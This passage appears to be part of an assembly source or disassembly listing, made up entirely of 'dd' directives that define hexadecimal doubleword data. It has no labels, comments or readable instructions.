0FC2D6424h, 73F80770h, 0A125AC1Fh, 802B9B4Ch dd 18B5F311h, 6074E3h, 0F6811D0Dh, 0FEE66B58h, 9F005C73h dd 0D9DA28A2h, 4135560h, 0E4CC1E9Eh, 40008731h, 4C36C5Bh dd 0BBDF6F00h, 1C6672C4h, 0ED400E75h, 2C87D043h, 56B1C00Bh dd 4200C604h, 8F8E4AEh, 5046B2h, 868409A4h, 1BCCEF69h dd 0A5C99700h, 9C1ACF8Ah, 3C5F0029h, 0FD6FE81Eh, 0B60925Bh dd 93FA1678h, 51390307h, 6E4F7A4Bh, 66E16890h, 0C6C04200h dd 44869849h, 4E2C003Eh, 5CAB4840h, 61FA079Eh, 0A74F9F00h dd 0C653AD30h, 0CF340094h, 851D455Dh, 0F70227B5h, 71339E06h dd 0DB15607Eh, 0ECAB0C98h, 44800C12h, 864A930Dh, 0F40207Fh dd 0DEF584h, 85F22E92h, 17D7BE5Ch, 8C124202h, 0E03C4307h dd 7C68E151h, 632A00DCh, 0E6C3AE81h, 92B00F58h, 0F300597Dh dd 34CE12D4h, 0ECED2C0Dh, 67FF1984h, 8068F8ABh, 3D02568h dd 4847BAA3h, 0B10F94B2h, 4A0C2DEh, 8E349E60h, 90FDE200h dd 0EEF1F4A6h, 99920053h, 0ABFE4650h, 0DF3B2DA9h, 8F5605D9h dd 46C0AEB0h, 24A30AC2h, 80EC7ACFh, 595CBDB2h, 177B7522h dd 70C7880Eh, 0AC3961E7h, 64F87FF6h, 0DEE800C9h, 6C8F6AB3h dd 0D185460h, 0A678B61Ch, 913B00FBh, 905342C8h, 0D400822Dh dd 9E1C9606h, 0FC402BFDh, 738B7A5Ah, 2DEE0069h, 0A470753Bh dd 12004E3Eh, 7DE0F87Ah, 0DE42A165h, 0DFBEC8A0h, 4C8CDB03h dd 40CFD83Bh, 7DD703AFh, 0C09F2FA2h, 73A1B80Eh, 91C27D19h dd 40940426h, 0B8337C68h, 27EF0723h, 707A309Bh, 63E179B0h dd 0C31A670Fh, 0DD930721h, 8AA19510h, 5AFD005Ch, 97985DC5h dd 0F8009B40h, 0FA03F515h, 727501h, 25140982h, 4A67C5B6h dd 0CA03ECB0h, 6436FA96h, 55539078h, 0A8470295h, 0F2CD5B48h dd 73298D40h, 179FCF03h, 0A75F323Bh, 0AFA0EFB1h, 0C54560h dd 6547CABh, 5015B67Ah, 1C13B00h, 6B4348DAh, 4BE00AAh dd 0B0E82DC3h, 0C8002175h, 1979C252h, 64057Bh, 0EA113777h dd 0AC2DD3F5h, 5C669A00h, 0BA103830h, 441900ABh, 57429028h dd 4C742AA8h, 301F6701h, 0F99462F2h, 3D266ED8h, 652CFB36h dd 8B5D0088h, 0DD0769D4h, 0E8BBF600h, 5AB31398h, 0D66E03BDh dd 0CC0DD092h, 3F023B80h, 2C046D1Ch, 53C93280h, 3EB969h dd 13520E44h, 0A9A257BCh, 6C9BB500h, 41D290DFh, 9437004Eh dd 5424C502h, 0D11D1D6Fh, 83C06ACDh, 0C38252BEh, 0FC150057h dd 3D33DC6Dh, 0C800EA74h, 0D360EB7Dh, 49630Eh, 0FCA2FD7Ah dd 40902671h, 2745F51Eh, 53C0AE5Eh, 5A991F0Fh, 786C77AFh dd 1BEC0F16h, 0AC003ADFh, 0E224F1A1h, 0B800FDEAh, 9613A33Ch dd 0B8FC2880h, 4EEF1728h, 0B64A095Bh, 33C30B00h, 5030EB8h dd 8C01FCD2h, 892FA864h, 0D0AD48D6h, 3999411Fh, 3FC09583h dd 0E67CE417h, 190008FEh, 0DEA58235h, 262FAFB0h, 80DCB50Ch dd 0D514F443h, 1B98BFBCh, 80EEAD38h, 0E26433C0h, 9EB445h dd 5EA258A7h, 0D580E366h, 0BE7E0300h, 0C2F51D41h, 2D1E4A9h dd 18E95FCCh, 44C0BCA0h, 249948DBh, 9F9ABF04h, 0C818080h dd 39207EB9h, 0E40039B6h, 0E54CDEA6h, 9675F233h, 25C33E03h dd 26A83D47h, 4378A248h, 0C0CC80DDh, 41317BF0h, 0D2720200h dd 37425971h, 61E40055h, 0E0F5A21Dh, 763D870Bh, 80F0BE8Fh dd 8A02D8BFh, 60801A08h, 397A68F1h, 185820B1h, 973E0077h dd 74C73F57h, 6D1008Fh, 382612E6h, 2B00BD8Dh, 57A8AB65h dd 16EECCA3h, 729ACBh, 0A64E0C6Ch, 6500A7DDh, 1DE549D6h dd 16D51E6h, 4CE0D838h, 0F95B1CB0h, 5860DA56h, 0B8038598h dd 0A74D07F8h, 0D2D8004Eh, 16E10239h, 0A14DD584h, 20C210C4h dd 7385D783h, 0A8200BFFh, 91B6CE72h, 0D3CDB32Ch, 6DC62200h dd 75A88CE1h, 0D43A009Bh, 82C5BA26h, 0CF003336h, 0A427C6A3h dd 0BBB2E5h, 2A982912h, 193C6358h, 0E08CF200h, 21C2F635h dd 2E9A001Dh, 0FC3DE80Dh, 4004145h, 0E0A2E3EDh, 4CA755C6h dd 0CD0179B3h, 87B1A0DBh, 0BE5AE89Ah, 0D700297Ah, 0B9B42F93h dd 924F3F4h, 641F197Ch, 0EA31E280h, 0BB00ED3Eh, 709A47C8h dd 0E1C3C4h, 209CC45h, 55D4A505h, 6900C8FCh, 0E3724AD3h dd 194A4B8h, 1F905A7Fh, 0C8E2D266h, 5D00C311h, 36AAC823h dd 0B8ACE5h, 0FBB5730Bh, 0DCECD2E6h, 0BC5C6E00h, 81DBE2BDh dd 0D4020076h, 2A8E7270h, 4D1C6233h, 13035B3Ch, 0C87153AEh dd 3234F6h, 9886CA6Dh, 0FB08B3F9h, 0A8026907h, 5F402FD3h dd 429FBDh, 0A266BB39h dd 68510F56h, 4FA3A600h, 7F92DBEEh, 2BB00243h, 961080F0h dd 0CE78A7E0h, 0EFDEF603h, 8861B32Ch, 0BDCF2Fh, 54161CAAh dd 39C2A8D5h, 8697E07h, 0BE209A09h, 0E55086B4h, 25ACCh dd 48DEB871h, 0FDAD7DAEh, 0EE24F400h, 0A66AB742h, 72943907h dd 9B718D80h, 769C4AFCh, 4EA5C100h, 81880D29h, 0DAA814EAh dd 0F400E5B0h, 0ACCE8ABBh, 4000E932h, 2BD63928h, 0E8DC3DD2h dd 9E4E0C9Bh, 2EB82FCBh, 821C6C7Dh, 0BA408087h, 4914FC19h dd 51D300A4h, 6A449902h, 0A10F455Fh, 609160B9h, 0F7B3E113h dd 0C00B005Bh, 0CBB08AC9h, 9600DDD5h, 68D7E2ACh, 8B7E32h dd 1240D921h, 18D3E1B4h, 865E0D00h, 157624CAh, 1D4401C0h dd 5FED1173h, 4639D88Eh, 0A66B9B00h, 0F67E14C6h, 0DD7F00FCh dd 5960CEADh, 0F00514Ah, 15167561h, 2A7BEFEh, 0B6ECF23h dd 0CC8049ABh, 61EC7B7Ch, 9D2BE1C0h, 5D7597h, 26A1706Ch dd 0A228FDF4h, 0EDBFC00Bh, 1D9B00FAh, 9B1CC1h, 858B5D0h dd 0ACF2FC92h, 0A9E45Ch, 213709D3h, 758F057Ch, 2BCCA0B3h dd 0C9E22E9h, 56F0B01Dh, 458B3840h, 0A01F4453h, 4A921Ch dd 27630A75h, 7616A1B4h, 3E315400h, 79A2938h, 90EE8EDh dd 3D2C56F9h, 0A0718407h, 0FA53BC89h, 27649F00h, 0B4053774h dd 0AAA800C9h, 8ED3BEDCh, 0E200B73Dh, 82548487h, 53A911h dd 0CF151C47h, 551B8E8Ch, 3A017301h, 0EB23D0A6h, 62545ECh dd 0CA6E48A7h, 6B1C10E0h, 7C40E7EDh, 0F5BE541Fh, 92850097h dd 0B27DA42Fh, 6E00E330h, 45AA5D35h, 2A2713h, 98FB7B61h dd 69C34189h, 0D13DCA00h, 0C6326A09h, 0FC8E04EBh, 80C5D8AEh dd 6CBA1151h, 3FCE1E00h, 0E68A74E7h, 0D02D2CC4h, 607505A9h dd 0E5D80032h, 0C95B6CAh, 572A9200h, 33A90881h, 358D337Ah dd 0DB98A39Ah, 275C1D7Dh, 119C30B1h, 48551CCAh, 0D50490C2h dd 80192343h, 3B89B8FDh, 0DD35E51Fh, 8125F98Eh, 0FB71D97Eh dd 0B2CE708Ch, 77053508h, 0DD89C387h, 0A7CC15C3h, 850E0591h dd 0F1D21BBh, 5CA83084h, 9A1D5774h, 7B2664A2h, 5A81ED1Fh dd 2FDDCF27h, 0FF0160h, 0B244589Fh, 5112465h, 3CC31228h dd 4D00927Ah, 3DABFC53h, 1EC41DFh, 38BFDD8Dh, 705A9A93h dd 5D00BA95h, 11DC6B0Dh, 0CC66528h, 9F123754h, 0C50C5388h dd 0B877745Bh, 703182E3h, 0FD000AC6h, 0F6ACAE8Eh, 2E389C73h dd 718483C0h, 0E8DFF061h, 7ACAC1h, 19D3B0C7h, 1DBB99A6h dd 1A709200h, 54154B9Ah, 247076h, 75E290A2h, 0F4813A74h dd 3114C803h, 0A87BA662h, 7F821Eh, 16597C80h, 0E3534642h dd 0FC549500h, 0E214B8ADh, 7CEAE8h, 49A94E03h, 0B6C3D5B9h dd 85605E01h, 0F96A46B2h, 0BFEA9CFh, 0A8D83920h, 424FC0h dd 0BFE098EAh, 0F42F60C2h, 1095A900h, 660E74ACh, 0CF28C08Ah dd 0EE7838D3h, 4E0062F0h, 5F39D19h, 0A8683C71h, 34B38Ch dd 2D228817h, 0B01D6D13h, 301F2F01h, 5AAE4B2h, 779BC8D8h dd 0B4E00F7Ch, 33E02474h, 5C02E1D3h, 0B7B8B4A8h, 1A652C05h dd 0E0C0AC60h, 1951474h, 34FBECCFh, 8AE361E2h, 0E083FD70h dd 753387BCh, 15603FAAh, 18AC26h, 8892BA32h, 0DAB1EC9Dh dd 2305FF00h, 0F0B47E52h, 9A36090Ah, 34008CF1h, 3CBA44D5h dd 34C83907h, 0DA10856Bh, 4650D96h, 0E2A51AE3h, 0DD38C21Dh dd 1FE59CA1h, 0C2C2DA3Ah, 13B92D60h, 88502803h, 8080B46Ah dd 0F102D19h, 1F2ABF35h, 875E1D27h, 94B4C06Fh, 2D008C3Eh dd 9FF38FB1h, 788854h, 62B64136h, 706DB43Ch, 11FA7D34h dd 10C047Eh, 4E10969Bh, 51AA0200h, 2A5E9DE0h, 0F6A7717Ah dd 3A360070h, 0BB531501h, 0DF32936Bh, 1052296Ch, 1189C3C9h dd 0F844B908h, 85108456h, 0DD212B76h, 91FD7F08h, 37C300AAh dd 5B3343FCh, 1567005Fh, 3A46B5D5h, 5C00A39Fh, 0ABB43071h dd 5FFF1Ch, 8F9DF1F6h, 0AAC63604h, 3578B300h, 33225828h dd 0A8F000F7h, 0F9165A39h, 8100E1B1h, 0D0F15542h, 7A71AAB8h dd 0D4B00FEh, 1EC8D6C3h, 3C00F589h, 10A472D1h, 0E7A2FFh dd 95132803h, 0F4C7FAF2h, 691C7300h, 0CBD24DC2h, 28120024h dd 0E4292B64h, 4F44535h, 2A8AE700h, 22E25260h, 0F39100D9h dd 94F4BF0Ch, 2F5841A1h, 0C3A9007Fh, 99DDA082h, 8E5B0267h dd 0EA39C707h, 0DDFD4A0h, 0EF00F70Ch, 8236CB9Ah, 3E9BCA7h dd 2FBAACFh, 0F5D877C3h, 0FC1FB3B5h, 0A80BDA2h, 0E07FBE01h dd 0FFE60C19h, 0C6B0D443h, 95EAE100h, 0E7BEAD88h, 0BB410556h dd 433AE6h, 0E35DBCBh, 0EE02C0D5h, 5E2644E8h, 1C2CE0A5h dd 0F2D61273h, 0D1C00F9h, 967C5B3Fh, 1657200h, 2D93EE07h dd 0D4020078h, 2F90D919h, 80FC8674h, 0D1289A00h, 9520F65Eh dd 485C0033h, 943BDDC8h, 53000F25h, 60EC03AFh, 18686Eh dd 0DD7B39Fh, 0F2E53044h, 0C04CAD03h, 0E8BF58D4h, 0E0E664Ah dd 0C88B8EEFh, 98D0D83Bh, 9C7A3594h, 5ECA610Eh, 16405D29h dd 0D6C96048h, 0CE130089h, 0FBE755A3h, 0A838FE54h, 0A1F20799h dd 60EFF90Ah, 0A65E6964h, 59700F38h, 0AF0E5585h, 801676C4h dd 0FDC0AB98h, 2DBEB107h, 0D100CFB9h, 0C56EF0h, 4CDBB521h dd 1A19E50Bh, 0CCE94307h, 0B660CB74h, 0F071DEh, 11830C70h dd 0CF2AE7FBh, 0B21F7E09h, 888A0029h, 0AE0BC507h, 1C793DF4h dd 0ADB41Dh, 0A89957BBh, 53267140h, 80018D5h, 0A7C7399Eh dd 48C40356h, 3D20F201h, 3AF5B980h, 0FC73FF3Ch, 3F2BA000h dd 146D86F4h, 9FD9017Fh, 19BD05D1h, 502CC1B0h, 0AC8AA3F0h dd 34F4C900h, 0E93FC42Dh, 6EC52447h, 8E9A0044h, 7C78ABDFh dd 31F59800h, 0FE6B5C76h, 15E3073Ah, 0E3655247h, 26997FBFh dd 0D3F2FCC9h, 12587B01h, 0F6B13FC6h, 97A5C8h, 67385165h dd 4F0246D4h, 50EA621Eh, 0A94CAAC0h, 2FA1D2h, 1D2B4958h dd 7194D0Ah, 8C89C100h, 0B1BEB6EEh, 3A7487h, 0C308736Ch dd 5A7FE944h, 3D9DCF01h, 5EAA271Ch, 3BA3CECh, 89D466F9h dd 86B0ABAFh, 0E7E0E8AEh, 0CF4DC800h, 7F5780FBh, 0CBF004Bh dd 3E7D614Ah, 3B14D85Ch, 1FC0708h, 0E4AFACDFh, 85FC792Ch dd 0AEAD0018h, 695D33E9h, 0D7004531h, 0B4984139h, 0E4B796h dd 8A42657Fh, 687A8C16h, 471DF400h, 0F22B1F23h, 877E1D85h dd 3B9C00ADh, 91A68CA2h, 0B0E75100h, 7FAA30Bh, 867D00FBh dd 305BD43h, 0B89146A9h, 57D4680Eh, 60BAD30Fh, 0A851BCF1h dd 6AE8FF3Dh, 888600EBh, 41584A7Dh, 0F4E37107h, 0E4003E1Dh dd 273145BCh, 3387DF9h, 0A4ABC9DEh, 0D4C0D25Fh, 55006A08h dd 59E29517h, 15CF7E5h, 48C898B9h, 434A6DAAh, 80E725CDh dd 931D4F07h, 92D4D105h, 74C05733h, 121FE7h, 0FB181037h dd 0D85E3619h, 72ADF600h, 5181A0E8h, 0E3CD02D9h, 2F073F4Fh dd 0B8799F80h, 52003B7Dh, 8121C2Bh, 93A0A8h, 63864237h dd 0E3C4B161h, 74C0B800h, 24E6E1BAh, 109068h, 0ECF428CCh dd 0DF471F44h, 80C7963Dh, 8F24F22Dh, 3B5568C0h, 0C500266Ah dd 9583D35Dh, 341E899Ah, 3B00DDBEh, 884A9D75h, 0E5B30047h dd 0E824C217h, 0F71202CFh, 173BC5h, 8EFBB0h, 94A7C691h dd 5AE70508h, 71228B01h, 1C44664Bh, 0E0C77C21h, 0F5C7D2B3h dd 1C14C30h, 0E4081BAAh, 40D38081h, 0B5D6F4CCh, 0F5316200h dd 5A3E49C3h, 8BBB0028h, 8434441Fh, 0A10BE299h, 31072h dd 386FCE49h, 0ACDC0F0Eh, 48604592h, 664F72F3h, 533D3Ch dd 201D39ABh, 0F8C3C4B8h dd 7A5F46Dh, 0CAFB2811h, 56DE9161h, 131BF45Ch, 9ED02200h dd 473BED94h, 0D28104B8h, 80BB4E8Dh, 0FD3424F4h, 82CC6000h dd 9BEFA4D0h, 0C407007Bh, 84E8CDF6h, 0B8137C6Ah, 0C900B9CEh dd 3DC1CC54h, 5E88019Eh, 0F934AB5Bh, 0FCD8603Ch, 0F878A700h dd 0EAA1DDD5h, 6622C2Bh, 497A80B4h, 0C21C1144h, 0B2B43F50h dd 65AB8900h, 0BE25058Fh, 0CF781F70h, 0BF178091h, 9C0C8536h dd 0E65B1401h, 6CF7CBA0h, 75184864h, 0AC030724h, 0E72C999Ch dd 3A52C277h, 0BE5A30C0h, 0C17CEE0Bh, 0A28C209Dh, 4C1D07AFh dd 0AA0F5C0Ch, 978082FFh, 0BC885721h, 7C392460h, 7B3A2D6Bh dd 0D1D50EDCh, 74E06F8Eh, 20E3CE1Dh, 0E4CBDE1Eh, 0E1AE9580h dd 56385E0h, 3E28A59h, 8FD20061h, 22E79DEAh, 6480109h dd 0A14800D9h, 1B153AEh, 37DE143Dh, 0FC676064h, 81F60B72h dd 79998E00h, 2A8C1DDBh, 56A3133Ch, 0B74F00CCh, 2B851EB4h dd 16F56C00h, 8362BBC8h, 67971D15h, 3732C3F9h, 78F0EF57h dd 5E1341D4h, 4C02D8EEh, 405B3A74h, 103A782h, 6BC34C8h dd 0E09E287Ch, 0C700D070h, 41243D44h, 19C07Ah, 0FCD93389h dd 0B67DAE9h, 4A5E531Eh, 0F4321140h, 0F2A1DC9Bh, 0D0EC17F8h dd 0B630098h, 64569A5h, 0DA1B4D0Ch, 8A68B9h, 9AF97689h dd 2359F7EDh, 0BD623Ch, 0A5ECF0CBh, 3CC171h, 6A179693h dd 0F7D50A8Ch, 300ABE75h, 0D9296CD4h, 35733700h, 0B2364Fh dd 5980F8EAh, 21DE9472h, 0C8FC531Eh, 478A7180h, 0E69AB4B2h dd 0C87B6055h, 0AFE14579h, 50DC0600h, 0FD319CA7h, 225B00AEh dd 0BBC289Fh, 0FE004430h, 54202B1Ch, 18DCF25h, 9B3897E8h dd 0EF8B8253h, 29B950E7h, 0E302589Eh, 0A5F27528h, 0C8A08063h dd 0F4D4E9FDh, 0F74100B1h, 3E377EEEh, 780C6632h, 296D72F2h dd 2DC42CEh, 9A1E22CAh, 1C56E0A4h, 11794Fh, 4673DF51h dd 0F14AAD12h, 81AC2600h, 0CA783C45h, 7D9C00AEh, 76F36657h dd 0B93E022Eh, 0D79893EBh, 5C07BA12h, 0A2E0459Eh, 5395A8h dd 8789EC63h, 290BD9AAh, 0CCFD2528h, 0E6BFD203h, 3C39A2B9h dd 0AF015724h, 697D041h, 0D880F2DEh, 7E4A34FFh, 0F2C3DC00h dd 0C6084D04h, 5F480071h, 913BB22h, 20001ABh, 1C397238h dd 190D8Dh, 0E711C4F4h, 32859780h, 0FCC60700h, 8CA55E9Dh dd 145600DAh, 0D5C8AD40h, 3BFCD306h, 0E9873E09h, 17A8E57h dd 3797BAFEh, 253020h, 0E412DA2h, 3AC6AD1Eh, 108A0C01h dd 0B12C71DBh, 9E2049D5h, 0D17D0093h, 742316CCh, 4A3FA456h dd 40F480EAh, 3009C06Ah, 1D7809ECh, 76005F0Bh, 87E1635Bh dd 731C8AF0h, 0EB57B3CDh, 18668A0Ch, 7ABC00C9h, 9064CBD9h dd 2A1B8F38h, 0F8402006h, 60CC1B1Ah, 69C5111Fh, 0F5385B67h dd 5ED9F88h, 0D1C37100h, 9203A2h, 0ACE524B0h, 0E29DF314h dd 2387AB00h, 81D9A5D8h, 0E6B30030h, 0F62938F4h, 8031EEAh dd 495E5C7Ah, 1356037Ch, 0BD7486A6h, 55F4C5C0h, 0D5B04700h dd 30066059h, 0F6430025h, 0F50EBC62h, 52008932h, 0C22FD37Ah dd 3BCF75F7h, 6C007BB1h, 0B2F6DFCBh, 5A000C41h, 0BB8258F8h dd 0D6C55Bh, 2D8EA9A8h, 4A491C7Bh, 0AD108400h, 43D79469h dd 0CE511EA1h, 232E4011h, 0D0837E8h, 4F428502h, 0E0B23D27h dd 0B09A1087h, 886300F9h, 0CF4530D2h, 271D8A6Fh, 0C38199B2h dd 0DAC07426h, 1ACDB0D3h, 8065007Eh, 8BF806D9h, 3E0C593Ah dd 98F470F1h, 2C8D284Ah, 2B75E5h, 6D29EB8Fh, 854837B8h dd 8E502E00h, 0BB025CF0h, 93DA0F9Ah, 0AE48BDDh, 0D0BC8736h dd 54CD338Ch, 2D91850Eh, 28C6E05Eh, 3B3E5A81h, 9D8018F8h dd 7819DB55h, 1300ED46h, 0BD03C7BAh, 27F56A7h, 0D6860F0Eh dd 9086AA55h, 490F18BFh, 96929990h, 0E065505h, 826C89C1h dd 69AC34h, 43D43B09h, 0FA71E58Dh, 8F7E9B00h, 493E1155h dd 0CA200029h, 0E719AAFDh, 960089C2h, 0E64F5E93h, 0C82E57h dd 58CBDC97h, 12186CA4h, 0A107D490h, 50681663h, 0BDC73190h dd 0F292001Ch, 0C405BAC8h, 8F3A1AD4h, 699800D2h, 0C55C6EAh dd 7B3F00A6h, 534B4A9Eh, 5F001710h, 0F424EDDFh, 2FB83Ch dd 0F17BD87Ah, 7202D4C5h, 0CAE61B00h, 0FE13AA32h, 40643FB8h dd 0CF804502h, 24C86A9Bh, 6300797Ah, 7AD2A89h, 9764DF7h dd 11B8C6Eh, 71621083h, 0E76621C0h, 0A13C7707h, 4B20EA0Eh dd 9D29E0h, 59A26D92h, 865CE5E8h, 0F41B1F13h, 4482F000h dd 0F545C2h, 0E5D885B0h, 4F27F079h, 3B0EA600h, 0CA4BF9D7h dd 0B362A26h, 3D7100B4h, 0B81F6AABh, 0B300923Ch, 0EE30F17h dd 5D78030h, 21EB2FBFh, 8E2AC789h, 9C9357C0h, 991E8AB4h dd 70002C3Fh, 632E00Ah, 0D77A00A8h, 44D55820h, 6A2C7960h dd 0F58F90E5h, 9CA880EEh, 0C49963h, 89889D9h, 81A6C270h dd 660EEF07h, 2C50879Eh, 0E59C804h, 56C73B3Dh, 0C58CAE64h dd 76A7803Ah, 95021158h, 4C358365h, 0DCAC8302h, 7491C08Ch dd 4ED90092h, 0BE60D0F9h, 4006810h, 0AE4366A1h, 182C98FBh dd 50E688B8h, 0CA00C631h, 0BE858CA8h, 32D404h, 0E2898B40h dd 339F280Eh, 0B8BB9200h, 0F649938Ch, 99A400EDh, 0B2C5F0Ch dd 0FBE29632h, 369E3418h, 77C31F9h, 0C79AC42Eh, 151CB010h dd 877DDED6h, 85F0BCE6h, 0E9007974h, 510AD773h, 3E33C59Eh dd 2780A49Fh, 0DCC04F5Fh, 0AC30B5AFh, 0DBD7101Ah, 758010F5h dd 95CD0017h, 68257EC2h, 0E697022Eh, 58FC5DC0h, 5EE8CC0h dd 564DC300h, 8A221D2Dh, 1239DF12h, 0C443EF08h, 0B05559FEh dd 0F9F3098Ch, 58E1B840h, 9BC40136h, 672FE55Ch, 50EC30E9h dd 571F2407h, 4200EDBCh, 7BBE049h, 0E2450548h, 861C9095h dd 410064AAh, 0FC9DF8BDh, 0D94807h, 6D6C55A4h, 0E9E1E009h dd 3FB08F00h, 0C1209938h, 0DEE20061h, 520BF5C7h, 55DD4F6h dd 9C660084h, 51E61AB7h, 9F5503FEh, 5AA5BD01h, 0BEE1F2F0h dd 31A29413h, 9600F713h, 33B671CEh, 95D0500Fh, 0DD9886h dd 8B14AC9h, 0E0CF4B2Eh, 0FE3F9490h, 0DC1A8215h, 6096D965h dd 0D8CBC720h, 0C53D11F1h, 780E9900h, 436FA92Dh, 0FC275921h dd 0E3F1ED00h, 4F238338h, 3C5DA724h, 0F75858h, 7F6369D2h dd 2CA6F31Dh, 3140FB1Dh, 0DBCB5640h, 7ACF2h, 3C749BEAh dd 68290527h, 97244700h, 2F19E77Ah, 0F0431328h, 7E2204F6h dd 0D300FE93h, 25CA47A3h, 0ED524DDh, 0F5F900A6h, 0B3786F19h dd 8DF69F00h, 827FAC37h, 881B1811h, 0D7EE108Fh, 878C5300h dd 20D25EF0h, 6B150B23h, 0C802778h, 0CA8AB007h, 84BBB400h dd 5D3D3896h, 0A3400D7h, 511A7FB9h, 860052DBh, 83D5F5DFh dd 1CBFD66h, 4E7C1043h, 0D44674D3h, 7D758EF8h, 6800CFF8h dd 285DD2D7h, 0EC865B4h, 0AFED75E6h, 93F6F340h, 0CC1692A3h dd 4E0029ABh, 0E58CC5CDh, 2355009Eh, 8A163384h, 5E002C14h dd 3643BC2Fh, 3832531Fh, 4B80B1B3h, 0CF50E75Bh, 850041EAh dd 0D3BA2FCBh, 0F63D572Eh, 0ADFAD5h, 0A83C5A1Eh, 7C271CD6h dd 4D0CBA00h, 0B1C8313Eh, 0EB70046h, 73166082h, 27006C84h dd 0C0F57E8h, 1B81E0h, 32381EF7h, 0F21707F6h, 11002CFAh dd 2BAC5FBBh, 623B80h, 57998B86h, 54798776h, 816A9E3Bh dd 0E8F393EEh, 82012D2h, 2C26000Ch, 1C0F3E52h, 0C8001EF4h dd 0FBA6BC93h, 48C1192Fh, 0C5008C04h, 52057BB7h, 55030F6Fh dd 7ECE6383h, 6AFFA870h, 0FCAA70B2h, 407B4C88h, 0D68BC900h dd 59B74E9Eh, 643FAEB0h dd 0B4AB2AE0h, 575A7107h, 0FED70DF1h, 5F8A7890h, 69D00CBh dd 0D03AF5E4h, 54FE138Eh, 0A1670F00h, 24FC9643h, 9F3E0012h dd 0EA8C6459h, 2A60E422h, 3011BD11h, 0FFF0B7E9h, 0B80082F0h dd 0C4B1A19Ch, 332688Eh, 0F3EF44FBh, 6A805689h, 8A00692Ah dd 980D5AC1h, 3C45F787h, 7B3AD184h, 0AECC1306h, 72F8B001h dd 84FBEA28h, 0C102CF0Eh, 32881EFh, 0CAC0D286h, 6EA006Eh dd 0C48ACC0Fh, 6B1879F2h, 0EFF0B0F1h, 6EE31D68h, 0E0312FAh dd 581A5430h, 0BFF83800h, 6E0014CFh, 5D5D0FDh, 74B97009h dd 39860F40h, 5A208A58h, 0CCE48476h, 74C8154h, 37010F81h dd 0C3E7D012h, 8B6E880Ch, 1BF6F00Dh, 30EC28F8h, 69526AC0h dd 83F9CB00h, 107B56C2h, 0D29500BAh, 0EE07B0A5h, 0AC005B3Bh dd 0D9634C45h, 4C20C1AEh, 510055C8h, 6C90E778h, 0E90012E2h dd 446B09AAh, 0F017A786h, 4E0F0FA0h, 45C0EC5Ch, 272C7493h dd 0C9E6D200h, 70795A56h, 0FCF30F5Eh, 9461C6CDh, 0BD55F9C0h dd 75F4F898h, 14A9AA6Fh, 0F1248304h, 6B100044h, 0EDB5BBCFh dd 4C0B5E8Fh, 80606276h, 246F5FB7h, 0C78C0199h, 4912682Ah dd 1A2890B7h, 422D5E84h, 3C437DDh, 5121BA26h, 19FB0816h dd 814C194h, 8BBE96Dh, 0A9882EB2h, 7C59104h, 131C3AFEh dd 1EA283h, 0DC28A008h, 0C32BA5C0h, 2038CB30h, 424F0h dd 0A23D0C3Eh, 0C6967572h, 360E2C00h, 0D8F59FE5h, 0B0900033h dd 0FF9BDCAEh, 0AC0F47AAh, 0D2E4F3B2h, 0D7C97100h, 796EBDh dd 0A102EFCBh, 0A8785C3Fh, 50000EB0h, 9AC034FCh, 777CDBh dd 4E4DA40Fh, 9BA5B2D5h, 34E30E01h, 52418EF0h, 0C370F4h dd 2C5BAD6Eh, 1BC60355h, 54982400h, 8811DEA2h, 3A047336h dd 0B680A061h, 380EF099h, 21E71DF1h, 0B5C3FCh, 0B2ECCAD8h dd 430049AFh, 0B18C6B9Dh, 0B503E2h, 5296E559h, 2ADE6F82h dd 47BAB003h, 80D619E0h, 389902h, 0CB8428A9h, 680763B2h dd 4FF99E0Eh, 1719B839h, 0E4D901F7h, 8EAC58CFh, 0BB988EBCh dd 215D6015h, 3979948Dh, 20489E78h, 7A079300h, 599A3613h dd 6147631Dh, 4A5CF280h, 166D6A5Fh, 133303Ah, 0D7DFB0E7h dd 0AACDCC89h, 37DC0600h, 20BFBAD2h, 2C38007Dh, 2579682Fh dd 3C006083h, 0A0074EDCh, 41B6E4h, 8CC03557h, 6A49F63Eh dd 6345C21Dh, 0C87115C0h, 0F2027BFAh, 96E3072Dh, 61AF51CCh dd 30C259E7h, 0D00267Eh, 7AA36DE0h, 0FE3480h, 47F6D169h dd 5A6E3D72h, 0E3AC700h, 1C8E5DFCh, 59C41E32h, 81B943C9h dd 0F0006E31h, 0D37AFBB1h, 0C35E6385h, 9D687108h, 9C6B62C0h dd 7B09881Fh, 4775B000h, 0A0CCCF7Fh, 79D635D7h, 89A70006h dd 29B3DA27h, 0EA12D170h, 401D3FE1h, 2E4E8741h, 55C0D038h dd 3A640FF0h, 0CA47A440h, 172F103Dh, 2701A5BBh, 4442701Eh dd 33FC6D71h, 0D8F0007Eh, 0CE2816A6h, 0DE006CB4h, 695BEAB7h dd 19B678h, 0F053E60Dh, 43AE9FBh, 0FFE21612h, 0B2E6000h dd 9BC505Dh, 0F8631EC8h, 80586284h, 0EB3F5164h, 312F1800h dd 0E9A7408Fh, 781600CFh, 0CFB6159h, 0A201499Fh, 32F3FD3Fh dd 7FDC1504h, 0F9EB0238h, 44827997h, 2C0E1448h, 5592BE00h dd 0D84FA7C2h, 9179D4h, 7195E528h, 161BB70Bh, 9008C100h dd 57292752h, 947301F4h, 0EBC8358Ah, 23188097h, 60F1A9D9h dd 0DEBF03DAh, 4F0F9D48h, 0C8D683D1h, 1751E24h, 454BB300h dd 0CBAAB5B0h, 0F0E461C4h, 0CC767EEDh, 0FF14877Dh, 50A89FDBh dd 0BE182930h, 9510697Ch, 6F672822h, 7FBD38CDh, 8760F900h dd 493E55B5h, 0FE15F100h, 8C9B9A1Ch, 1B7A005Ch, 8A82C892h dd 993D6106h, 0DD6280A8h, 420E0536h, 0D61F002Dh, 5B6F4A9Bh dd 0B27BEE85h, 6B8D4001h, 0DA65CB8Ah, 987B8370h, 4DCA0057h dd 0B2C0E05Dh, 0D907E13Fh, 4AE83093h, 6D0608A0h, 0E807A99h dd 82D84C94h, 0E8FD2A60h, 0A9E48D63h, 1D659CA0h, 0C315B100h dd 3B069AD0h, 0F8CB4C83h, 33A69000h, 99CF6934h, 3F313Ah dd 0DA6BC235h, 5C309Ch, 0EC2B87A7h, 6EE81745h, 0AD0063F0h dd 3343C7CDh, 7720D468h, 22ED00DAh, 496D93B6h, 0A000B5FFh dd 646A027Eh, 0A268299h, 92B9AA2Ah, 8C0900DCh, 87492BA0h dd 1CA6AB26h, 4DD7FC80h, 265F1760h, 9B4F60Ah, 40012722h dd 0CC81A9EAh, 61074B8Ah, 0B05CF010h, 452E73F0h, 4288005Fh dd 9A98DE16h, 2500CA6Ch, 0C4F13D6Dh, 0B2E153h, 897B6A61h 